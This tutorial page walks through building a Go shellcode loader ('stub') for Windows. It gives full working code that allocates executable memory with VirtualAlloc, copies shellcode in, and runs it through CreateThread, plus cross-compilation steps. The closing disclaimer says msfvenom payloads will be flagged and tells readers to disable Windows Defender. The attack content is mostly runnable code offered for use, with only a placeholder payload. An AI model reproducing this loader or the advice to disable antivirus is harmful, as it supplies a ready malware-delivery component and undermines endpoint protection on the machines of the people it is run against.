💉Create your own basic Go stub
In this tutorial, we will guide you through creating your own stub in Go to run shellcode in memory on a Windows target. The steps assume you are developing in a Linux environment and cross-compiling
We will use Go's windows
package and Windows API functions to allocate memory, copy shellcode into it, and then execute it by creating a thread. This tutorial will focus on setting up the environment, writing the code, and building the executable.
Prerequisites
Before we begin, make sure you have the following installed:
Go (Golang): The Go programming language.
Install Go by following the official installation guide.
Go Windows Package: The
golang.org/x/sys/windows
package is required for Windows API calls.
Create a golang module file in your project directory:
go mod init
Install the package with:
go get golang.org/x/sys/windows
Save the golang module file:
go mod tidy
Step 1: Create the Go stub
Create a new Go file
Start by creating a new Go file. We'll call it stub.go
.
touch stub.go
Structure the Go code for your stub
package main
import (
"fmt"
"golang.org/x/sys/windows"
"syscall"
"unsafe"
)
func main() {
// Shellcode (empty for now, to be filled with your shellcode)
shellcode := []byte{
// Place your shellcode bytes here (for example: 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff ...)
}
// Windows API functions
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
virtualAlloc := kernel32.NewProc("VirtualAlloc")
rtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
createThread := kernel32.NewProc("CreateThread")
waitForSingleObject := kernel32.NewProc("WaitForSingleObject")
// Allocate memory (using VirtualAlloc) - executable, writable, and readable memory
addr, _, err := virtualAlloc.Call(
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if addr == 0 {
fmt.Printf("VirtualAlloc failed: %v\n", err)
return
}
fmt.Printf("Memory allocated at: %v\n", addr)
// Copy the shellcode into the allocated memory
_, _, err = rtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != syscall.Errno(0) {
fmt.Printf("RtlMoveMemory failed: %v\n", err)
return
}
// Create a new thread to execute the shellcode
threadHandle, _, err := createThread.Call(
0, 0, addr, 0, 0, 0,
)
if threadHandle == 0 {
fmt.Printf("CreateThread failed: %v\n", err)
return
}
fmt.Printf("Shellcode thread created successfully with handle: %v\n", threadHandle)
// Wait for the shellcode thread to finish
ret, _, err := waitForSingleObject.Call(threadHandle, 0xFFFFFFFF)
if ret == 0xFFFFFFFF {
fmt.Printf("WaitForSingleObject failed: %v\n", err)
return
}
fmt.Println("Shellcode executed and thread completed successfully.")
}
Code Breakdown
Windows API Calls:
VirtualAlloc
: Allocates memory in the target process's address space.RtlMoveMemory
: Copies the shellcode into the allocated memory.CreateThread
: Creates a new thread to execute the shellcode.WaitForSingleObject
: Waits for the created thread to complete execution.
Memory Allocation:
We use
VirtualAlloc
to allocate memory in the target process with permissions for execution, reading, and writing.
Shellcode Execution:
Once the memory is allocated, the shellcode is copied into it using
RtlMoveMemory
.A new thread is created with
CreateThread
to execute the shellcode in memory.
Step 2: Add your shellcode to the stub
To inject your own shellcode, replace the shellcode := []byte{}
array in the Go code with the desired shellcode. like the shellcode extracted in the previous section.
For example:
shellcode := []byte{
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff,
// Add the rest of your shellcode here...
}
In my case, i used a simple windows alertbox shellcode:

Step 2: Cross-Compile for Windows
Setting Up Cross-Compilation
Since we are developing on a Linux system but targeting Windows, we will need to cross-compile the Go program. Thanks God, the cross-compilation with go is insanely simple, you just need to set the GOOS
and GOARCH
environment variables to make them match the desired operation system and architecture of your target.
Set the environment variables:
GOOS=windows
: Specifies that the target operating system is Windows.GOARCH=amd64
: Specifies that the target architecture is 64-bit (x86-64).
On Linux, run:
GOOS=windows GOARCH=amd64 go build -o stub.exe stub.go
This command will compile the stub.go
file into a Windows executable (stub.exe
).

Step 3: Testing the stub on windows
Running the Stub on Windows
Once you've cross-compiled the stub, transfer the stub.exe
file to a Windows system. You can run the executable as you would with any Windows program. For example, you can run it from a command prompt:
C:\path\to\stub.exe
The output should look something like this (assuming the shellcode is valid):
Memory allocated at: 0x0000000140010000
Shellcode thread created successfully with handle: 0x1234
Shellcode executed and thread completed successfully.
If the shellcode executes as intended, you should see the shellcode's effects in action:

Conclusion
In this tutorial, you learned how to create a Windows stub in Go that can execute shellcode in memory. The stub allocates memory in the target process, copies the shellcode into it, and then executes it by creating a new thread. You can easily customize this stub with your own shellcode and cross-compile it for Windows to test in a controlled environment.
⚠️ DISCLAIMER ⚠️
At this point, we do not have performed any obfuscation or significant modification to the payload, so if you try it with an msfvenom extracted shellcode, Windows Defender will flag it instantly. If you want to try anyway disable Windows Defender.
Last updated